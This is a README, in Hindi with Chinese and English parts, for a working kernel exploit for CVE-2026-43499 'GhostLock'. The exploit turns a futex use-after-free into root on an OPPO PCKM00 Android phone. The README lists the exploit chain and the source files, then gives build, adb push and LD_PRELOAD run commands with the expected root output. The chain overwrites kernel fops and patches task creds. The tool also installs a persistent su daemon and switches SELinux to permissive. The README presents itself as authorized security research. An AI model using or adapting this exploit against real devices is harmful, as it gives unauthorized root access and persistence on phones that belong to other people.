
OPPO PCKM00 (SM6150) / Linux 4.14.180 के लिए CVE-2026-43499 GhostLock futex UAF LPE PoC
CVE-2026-43499 (GhostLock) — Linux kernel futex प्राथमिकता-विरासत
use-after-free स्थानीय विशेषाधिकार वृद्धि PoC, जिसे OPPO PCKM00
(OP4A57, SM6150, Android 11, kernel 4.14.180-perf+) पर पोर्ट किया गया है।
DISCLAIMER / 免责声明 यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग किसी ऐसे डिवाइस पर न करें जो आपके स्वामित्व में न हो या जिसे परीक्षण के लिए स्पष्ट रूप से अधिकृत न किया गया हो। एक्सप्लॉइट चलाने से कर्नेल क्रैश हो सकता है। किसी भी दुरुपयोग या क्षति के लिए लेखक कोई दायित्व स्वीकार नहीं करता।
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) Linux kernel futex प्राथमिकता-विरासत कोड में एक
use-after-free है। यह बग remove_waiter() के rt_mutex_start_proxy_lock()
के proxy-lock rollback पथ में गलत उपयोग में निहित है। मुक्त किया गया
rt_mutex_waiter (जो कर्नेल स्टैक पर आवंटित होता है) को pselect() द्वारा
कॉपी किए गए हमलावर-नियंत्रित fd_set के रूप में पुनः व्याख्यायित किया जाता
है, जिससे एक मनमाना-लेखन (arbitrary-write) प्रिमिटिव प्राप्त होता है।
प्रभावित सीमा: Linux 4.x–6.x (2011 में शुरू किया गया)। 4.14 श्रृंखला पूरी
तरह प्रभावित है। पूर्ण विश्लेषण और सत्यापित सिंबल ऑफसेट के लिए report.md
देखें।
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
PoC पूरी तरह से userspace में LD_PRELOAD के माध्यम से चलता है — डिवाइस
रीबूट की आवश्यकता नहीं (जब तक कि कर्नेल पैनिक न हो जाए)।
| Field | Value |
|---|---|
| Device | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Security patch | 2022-09-05 |
| Kernel | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Build | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
अन्य 4.14 डिवाइसों पर पोर्ट करने के लिए:
exploit/targets/oppo-pckm00/target.hकॉपी करें और अपने कर्नेल इमेज से सिंबल ऑफसेट पुनः जनरेट करें (analysis/देखें)।
.
├── report.md # Full vulnerability analysis & verified offsets
├── exploit/
│ ├── Makefile # Build preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD entry + forced disk logging + su
│ │ ├── main.c # Orchestration (waiter/owner/consumer threads)
│ │ ├── slide.c # KASLR leak (boot_id / nfulnl loggers)
│ │ ├── fops.c # ashmem_fops overwrite + configfs primitive
│ │ ├── pipe.c # pipe_buffer physrw primitive
│ │ ├── root.c # task walk + cred patch + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb page prep, kernel RW
│ │ ├── su_daemon.c # embedded su server (drop-in)
│ │ ├── su_blob.S # .incbin of su_daemon
│ │ └── wallpaper_blob.S # .incbin of wallpaper payload
│ ├── targets/oppo-pckm00/target.h # 4.14.180 symbol/struct offsets
│ └── assets/wallpaper.webp # embedded wallpaper payload
├── analysis/ # kernel image / kallsyms extraction scripts
└── LICENSE # Apache-2.0 (same as upstream GhostLock)
Android NDK r29 (aarch64-linux-android30-clang) आवश्यक है।
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh
आउटपुट: exploit/preload.so (64-bit aarch64 ELF shared object)।
बिल्ड su_daemon.c को PIE बाइनरी में भी कंपाइल करता है और इसे (साथ ही
वॉलपेपर को) .S ब्लॉब्स के माध्यम से .so में एम्बेड करता है।
# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so
# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
.so को LD_PRELOAD के माध्यम से sh प्रोसेस में लोड किया जाता है; इसका
कंस्ट्रक्टर पूरी एक्सप्लॉइट श्रृंखला चलाता है और परिणाम रिपोर्ट करता है:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
सफल होने पर शेल रिपोर्ट करता है:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
वर्तमान प्रोसेस (और उसके चाइल्ड) अब root हैं। एक su डेमन
/apex/com.android.virt/bin/su पर इंस्टॉल किया जाता है (वैकल्पिक रूप से
/data/local/tmp/su पर) और एक एम्बेडेड वॉलपेपर को
persistence/verification artifact के रूप में लागू किया जाता है।
# from a new shell after the run
adb shell su -c 'id'
# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su
# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce
सभी pr_* डायग्नोस्टिक्स /sdcard/Download/log_<timestamp>.txt में भी
लिखे जाते हैं (वैकल्पिक रूप से /data/local/tmp/log_<timestamp>.txt में),
प्रत्येक पंक्ति पर O_SYNC + fsync() के साथ ताकि कर्नेल पैनिक / रीबूट के
बाद भी लॉग सुरक्षित रहें:
adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
लॉग प्रत्येक चरण (KASLR slide, fops overwrite, pipe physrw, cred patch) और
अंतिम uid_after / ROOT OK पंक्ति दिखाता है — किसी समस्या की रिपोर्ट करते
समय इसे संलग्न करें।
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # if SELinux/cred state or the wallpaper was modified
नोट: एक्सप्लॉइट चलाने से कर्नेल क्रैश हो सकता है। यदि
adbडिस्कनेक्ट हो जाए, तो डिवाइस के रीबूट होने की प्रतीक्षा करें, फिर/sdcard/Download/log_*.txtपुल करें — फोर्स्डO_SYNC/fsyncलॉगिंग ही वह चीज़ है जो पैनिक के बाद बची रहती है।
boot_id/nfulnl logger पथ (slide.c) के साथ-साथ एक
ashmem_fops सत्यापन पास (fops.c) के माध्यम से slide लीक करता है।.read/.write का उपयोग करता है (read_iter/write_iter नहीं),ashmem_fops में show_fdinfo नहीं है,generic_file_splice_read copy_splice_read को प्रतिस्थापित करता है,selinux_enforcing struct selinux_state के अंदर रहता है,rt_mutex_waiter / pipe_inode_info / cred लेआउट।task_struct.seccomp) best-effort हैं; seccomp को
पैच करने में विफलता cred-overwrite root को नहीं रोकती।IonStack/CVE-2026-43499), Apache-2.0।
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — देखें LICENSE।